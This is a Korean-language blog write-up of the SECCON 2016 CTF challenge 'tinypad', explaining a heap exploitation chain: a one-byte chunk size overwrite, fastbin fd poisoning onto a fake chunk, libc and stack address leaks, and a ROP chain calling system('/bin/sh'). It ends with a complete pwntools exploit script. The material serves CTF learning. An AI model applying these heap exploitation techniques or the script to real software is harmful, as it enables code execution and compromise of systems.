2016 SECCON tinypad
by St1tch보호 기법은 위와 같다.
나는 fake size chunk 할당, fastbin control을 이용해서 ret부분을 가젯으로 덮어씌워 문제를 풀었다.
우선 함수들을 살펴보자
ADD함수인데, strcpy를 사용해서 데이터를 임시버퍼에서 복사한다.
만약 다음 heap chunk의 size부분 바로 앞까지 데이터를 채워놓으면 edit함수를 통해 1byte overwrite할 수 있다.
이 때, 다음 chunk의 크기를 한바이트 바꿀수 있게되고,
크기가 변조된 청크를 free malloc 하는 과정을 통해 그 뒤에 있는 heap chunk의 fd를 overwrite 할 수 있다.
read함수를 이용하기 때문에 null값을 포함한 데이터를 입력할 수 있다.
EDIT함수에서는 패드의 값을 수정할 수 있는데,
strcpy를 통해 받은 값을 strlen을 이용해 길이를 잰 후,
이 길이만큼 strcpy를 통해 다시 데이터를 복사한다.
따라서 원래 데이터의 길이만큼만 데이터를 쓸 수있고, null값은 입력할 수 없다.
매번 메뉴에 올 때마다 출력을 해주는데,
만약 tinypad자체가 변조 되어있으면, 변조된 데이터를 바로바로 출력해주기 때문에
leak을 손쉽게 할 수있게 해준다.
위 조건들을 이용해 내가 문제를 푼 순서는
1. small bin을 할당하고 해제하는 과정을 통해 main_arena address leak -> libc base leak
2. fast bin크기를 4개 할당하고 edit을 통해 1바이트를 overwrite (다음 chunk의 크기 overwrite)
3. 3개를 free한 이 후, overwrite 한 크기의 heap 재할당 -> heap overflow 가능
4. 3번 과정에서 크기가 변조된 크기의 fastbin에 있던 chunk가 나오고, 이를 통해 다음에 할당된 fastbin의 fd값을 overwrite 가능
5. fd값, 즉 할당될 위치를 tinypad+264로 overwrite하고 해당 패스트빈 크기의 힙 2번 할당
6. 5번 과정에서 2번째 할당될때의 데이터가 원하는곳에 써지기 때문에 이때 libc environ을 써준다. -> stack addr leak
7. pad 4번의 주소가 1번 pad의 주소를 가리키고 있기 때문에,
1번 pad의 값을 수정함하고 4번 pad의 값을 수정함으로써, 원하는 주소에 있는 데이터의 길이만큼 그 주소에 값을 쓸 수 있음
8. stack을 leak했기때문에 ret부분뒤에 rop chain을 만들어 놓고 그쪽으로 리턴하게끔
9. 쉘 획득
위 과정의 힙상태를 간단히 살펴보면,
overwrite 되기 전 힙의 상황 (fastbin 4개 size : 40, 24, 24, 24)
두번째 힙청크의 사이트를 overwrite
두번째 힙청크를 free한 이후, 변조된 사이즈로 재할당
이때, free된 세번째 힙의 fd를 조작
조작된 주소를 fakechunk의 주소로 tinypad+248
24바이트의 크기를 다시한번 할당 했을때, fastbin에 정상적으로 tinypad+248의 주소가 들어가있고,
fakechunk에서 size도 알맞게 들어가있다.
24바이트의 크기를 한번 더 할당할 때, 쓴 데이터가
변조된 heapchunk에 제대로 쓰여진다.
여기서는 libc environ의 주소를 사용해서 stack주소를 leak하게끔 하였다.
잘 보면 4번째 pad의 주소가 1번째 pad의 주소이기 때문에
4번 pad를 수정하면 원하는 주소를 쓸 수있고,
1번 pad를 수정해서 그 주소에 원하는 값을 쓸 수있다.
stack, malloc leak이 된 상황에서 원하는곳에 데이터를 쓸 수 있기때문에, 쉘을 획득하는 방법은 여러가지이다.
from pwn import *
context.log_level = 'info'
local = True
if local :
s = process('./tinypad')
print util.proc.pidof(s)
pause()
else :
s = remote('tinypad.pwn.seccon.jp', 57463)
def command(token, *args) :
s.recvuntil(token)
for i in args :
i = str(i)
s.sendline(i)
sleep(0.1)
fast = lambda token, *args : command(token, *args)
add = lambda size, dat : fast('>>>', 'a', size, dat)
delete = lambda idx : fast('>>>','d', idx)
edit = lambda idx, dat : fast('>>>', 'e', idx, dat, 'Y')
def solver() :
log.info('addr leak')
add(256, 'a')
add(256, 'b')
delete(1)
delete(2)
s.recvuntil('Deleted')
s.recvuntil('CONTENT: ')
leak = u64(s.recv(6).ljust(8, '\x00'))
if local:
envirion_ = leak + 9248
offset = leak - 3947384
system = offset + 0x45380
binsh = offset + 0x18c58b
add_rsp_pop = offset + 0x13668f #add rsp, 0x70; pop ret
pop_rdi = offset + 0x21102
else:
offset = leak - 0x3be7b8
envirion_ = offset + 0x3c14a0
system = offset + 0x46590
binsh = offset + 0x17c8c3
add_rsp_pop = offset + 0xeb5b1
pop_rdi = offset + 0x22b9a
log.info('1byte overwrite and free')
add(40, 'c'*40)
add(24, 'd')
add(24, 'e')
add(24, 'f')
edit(1, 'a'*41)
delete(4)
delete(3)
delete(2)
log.info('make fake chunk')
target = 0x602138
pay = 'x'*8*3 + p64(0x21) + p64(target)
add(80, pay)
add(24, 'fuck1')
add(24, p64(envirion_))
log.info('stack addr leak')
s.clean()
s.sendline('F')
s.recvuntil('command')
s.recvuntil('CONTENT: ')
ret = u64(s.recv(6).ljust(8, '\x00')) - 0xf0
log.info('overwrite ret addr')
edit(4, p64(ret))
edit(1, p64(add_rsp_pop))
edit(4, p64(ret+0x80))
edit(1, p64(pop_rdi))
edit(4, p64(ret+0x88))
edit(1, p64(binsh))
edit(4, p64(ret+0x90))
edit(1, p64(system))
s.sendline('Q')
log.success('Get Shell!')
s.clean()
s.interactive()
if __name__ == '__main__' :
solver()
블로그의 정보
튜기's blogg(st1tch)
St1tch